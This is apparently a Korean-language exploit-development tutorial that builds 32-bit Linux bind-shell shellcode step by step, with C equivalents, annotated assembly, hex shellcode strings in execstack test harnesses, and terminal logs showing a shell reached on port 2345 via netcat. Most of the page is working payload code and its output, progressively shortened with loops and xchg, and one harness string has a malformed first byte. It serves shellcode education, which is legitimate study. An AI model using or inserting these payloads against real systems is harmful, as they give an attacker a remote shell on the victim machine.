Excuse the ads! We need some help to keep our site up.

List

Bind Shellcode

C language

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	int server_sockfd, client_sockfd;
	struct sockaddr_in server_addr, client_addr;
	socklen_t client_addr_size;
 
	server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
 
	server_addr.sin_family = AF_INET;			// IPv4 인터넷 프로토롤 
	server_addr.sin_port = htons(2345);		// 사용할 port 번호는 2345
	server_addr.sin_addr.s_addr = INADDR_ANY;	// 32bit IPV4 주소
 
	bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
 
	listen(server_sockfd, 4);
 
	client_addr_size = sizeof(struct sockaddr_in);
	client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size);
}

Check system call number

lazenca0x0@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep socketcall
#define __NR_socketcall 102
lazenca0x0@ubuntu:~$
int socketcall(int call, unsigned long *args);
#define SYS_SOCKET	1		/* sys_socket(2)		*/
#define SYS_BIND	2		/* sys_bind(2)			*/
#define SYS_CONNECT	3		/* sys_connect(2)		*/
#define SYS_LISTEN	4		/* sys_listen(2)		*/
#define SYS_ACCEPT	5		/* sys_accept(2)		*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)		*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)		*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)		*/
#define SYS_SEND	9		/* sys_send(2)			*/
#define SYS_RECV	10		/* sys_recv(2)			*/
#define SYS_SENDTO	11		/* sys_sendto(2)		*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)		*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)		*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)		*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)		*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)		*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)		*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)		*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)		*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)		*/

System-specific socket constants

ConstantsDescriptionValue of constants
PF_LOCAL, AF_UNIX같은 시스템 내에서 프로세스 끼리 통신합니다.1
PF_INET, AF_INETIPv4 인터넷 프로토콜을 사용합니다.2
PF_INET6IPv6 인터넷 프로토콜을 사용합니다.10
PF_PACKETLow level socket 을 인터페이스를 이용합니다.17
SOCK_STREAMTCP/IP 프로토콜을 이용합니다.1
SOCK_DGRAMUDP/IP 프로토콜을 이용합니다.2
IPPROTO_IPTCP 용 더미 프로토콜0
lazenca0x0@ubuntu:~$ cat /usr/include/linux/in.h | grep IPPROTO_IP
  IPPROTO_IP = 0,		/* Dummy protocol for TCP		*/
#define IPPROTO_IP		IPPROTO_IP
  IPPROTO_IPIP = 4,		/* IPIP tunnels (older KA9Q tunnels use 94) */
#define IPPROTO_IPIP		IPPROTO_IPIP
  IPPROTO_IPV6 = 41,		/* IPv6-in-IPv4 tunnelling		*/
#define IPPROTO_IPV6		IPPROTO_IPV6
lazenca0x0@ubuntu:~$
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket_type.h |grep SOCK_STREAM
  SOCK_STREAM = 1,		/* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
lazenca0x0@ubuntu:~$
lazenca0x0@ubuntu:~$ cat /usr/include/bits/socket.h |grep PF_INET
#define PF_INET		2	/* IP protocol family.  */
#define PF_INET6	10	/* IP version 6.  */
#define AF_INET		PF_INET
#define AF_INET6	PF_INET6
lazenca0x0@ubuntu:~$

Assembly code

BITS 32
 
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push BYTE 102		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq               	; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1				; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx				; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성 
push edx			; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push BYTE 1			; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2			; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
mov esi,eax			; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다.
 
;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));
push BYTE 0x66		; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
inc ebx				; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다.
;struct sockaddr_in server_addr
push edx			; server_addr.sin_family = AF_INET; 
push WORD 0x2909	; server_addr.sin_port = htons(2345);
push WORD bx		; server_addr.sin_addr.s_addr = INADDR_ANY;
;인자에 전달된 값을 저장
mov ecx,esp			; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16		; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx			; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80
 
;listen(server_sockfd, 4)
mov BYTE al,0x66	;
inc ebx
inc ebx				; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다.
					; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다.
push ebx			; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다.
push esi			; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80

;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size)
;c = accept(s,0,0)
mov BYTE al, 0x66	;
inc ebx				; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다.
push edx			; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push edx			; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다.
push esi			; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp		; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
int 0x80			; 

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "0x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x2e\x16\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -fno-stack-protector -z execstack --no-pie -m32 pb.c
lazenca0x0@ubuntu:~/Shell$ ./pb &
[1] 64826
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59
lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:2345            0.0.0.0:*               LISTEN      64826/pb  
lazenca0x0@ubuntu:~/Shell$

Bind Shellcode(Socket + "/bin/sh")

C language

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int main(void){
	...
	client_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

	dup2(client_sockfd, 0);
	dup2(client_sockfd, 1);
	dup2(client_sockfd, 2);
 
	char *argv[] = { "/bin/sh", NULL};
	execve( "/bin/sh", argv, NULL );
}

int dup2 (int oldfd , int newfd );

Check system call number

lazenca0x0@ubuntu:~/Shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h|grep dup2
#define __NR_dup2 63
lazenca0x0@ubuntu:~/Shell$

Assembly code

BITS 32
 
;s = socket(2,1,0)
;bind(s, [2, 31337, 0], 16)
;listen(s, 0)
;c = accept(s,0,0)
...코드 생략...

;dup2(client_sockfd, 0)
mov ebx, eax 		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
push BYTE 0x3F		; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다.
pop eax				; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
xor ecx, ecx		; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다.
int 0x80			; 

;dup2(client_sockfd, 1)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다.
int 0x80			;
 
;dup2(client_sockfd, 2)
mov BYTE al, 0x3F	; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다.
inc ecx				; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다.
int 0x80			;

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11		; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
push edx			; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f		; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f		; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp		; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx			; Stack에 Null을 저장합니다.
mov edx, esp		; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx			; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp		; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다.
int 0x80			; 

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x2E\x16\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68//shh/bin\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -fno-stack-protector -z execstack --no-pie -m32 portbindsh.c
lazenca0x0@ubuntu:~/Shell$ ./portbindsh &
[1] 65488
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./portbindsh
lazenca0x0@ubuntu:~/Shell$

Smaller Shellcode - Call dup2()

Branch Control Structure (CMP Instructions)

InstructionsMeaning
cmp <Dest operand>, <Src operand >대상 피연산자가 소스 피연산자를 비교해 조건부 점프 명령어가 사용할 플래그를 설정합니다.
je <Operand>CMP 명령어의 대상 피연산자와 소스 피연산자가 같으면 목적으로 점프 합니다.
jne <Operand>CMP 명령어의 대상 피연산자와 소스 피연산자가 같지 않으면 점프 합니다.
jl <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작으면 점프 합니다.
jle <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같으면 점프 합니다.
jnl <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작지 않으면 점프 합니다.
jnle <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 작거나 같지 않으면 점프 합니다.
jg <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 큰 경우 점프 합니다.
jge <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같으면 점프 합니다.
jng <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크지 않으면 점프 합니다.
jnge <Operand>CMP 명령어의 대상 피연산자가 소스 피연산자 보다 크거나 같지 않으면 점프 합니다.

C language & Assembly code

for(int i=0;i <= 2;i++){
	dup2(client_sockfd,i)
}
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax    	; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
xor ecx, ecx    	; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F   ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80            ; 
	inc ecx				; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다.
	cmp BYTE cl, 2  	; dup2 함수의 2번째 인자값과 2 를 비교합니다.
	jle dup2_call       ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x2\x7e\xf6\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -fno-stack-protector -z execstack --no-pie -m32 jle.c
lazenca0x0@ubuntu:~/Shell$ ./jle &
[1] 65593
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jle
lazenca0x0@ubuntu:~/Shell$

Branch Control Structure (Zero Flag, Sign Flag)

약어이름설명
ZF제로 플래그(Zero Flag)연산 결과가 0이면 참(1)
SF부호 플래그(Sign Flag)연산 결과가 음수이면 참(1)


InstructionsMeaning
jz <Operand>제로 플래그가 참이면 Operand로 점프 합니다.
jnz <Operand>제로 플래그가 거짓이면 Operand로 점프 합니다.
js <Operand>부호 플래그가 참이면 Operand로 점프합니다.
jns <Operand>부호 플래그가 거짓이면 Operand로 점프합니다.

JZ vs JE

Assembly codeHex

cmp cl, 2

jle FunctionName;

"\x80\xF9\x02\x0F\x8E\xFC\xFF\xFF\xFF"

dec ecx

jns FunctionName;

"\x49\x0F\x89\xFC\xFF\xFF\xFF"

C language & Assembly code

for(int i=2;i < 0;i--){
	dup2(client_sockfd,i)
}
;dup2(connected socket,{all three standard I/O file descriptors})
mov ebx,eax			; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다.
xor eax, eax		; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호)
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
lazenca0x0@ubuntu:~/Shell$ gcc -o jns -fno-stack-protector -z execstack --no-pie -m32 jns.c
lazenca0x0@ubuntu:~/Shell$ ./jns &
[1] 65763
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 96
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./jns
lazenca0x0@ubuntu:~/Shell$ 

xchg Instruction

xchg <Dest operand>, <Src operand>
mov eax, 2
mov edx, 3
xchg eax, edx

mov ebx,eax
xor eax, eax

"\x89\xC3\x31\xC0"
xchg eax,ebx"\x93"

Assembly code

;dup2(connected socket,{all three standard I/O file descriptors}

xchg eax,ebx		; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다.
push BYTE 0x2  		; Stack에 2 저장합니다.
pop ecx				; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
	mov BYTE al, 0x3F	; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
	int 0x80			; 
	dec ecx				; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다.
	jns dup2_call		; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.

Test program

#include<stdio.h>
#include<string.h>

unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x6a\x1\x6a\x2\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x9\x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
lazenca0x0@ubuntu:~/Shell$ gcc -o xchg -fno-stack-protector -z execstack --no-pie -m32 xchg.c
lazenca0x0@ubuntu:~/Shell$ ./xchg &
[1] 65793
lazenca0x0@ubuntu:~/Shell$ Shellcode len : 93
lazenca0x0@ubuntu:~/Shell$ nc localhost 2345
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
[1]+  Done                    ./xchg
lazenca0x0@ubuntu:~/Shell$

Related site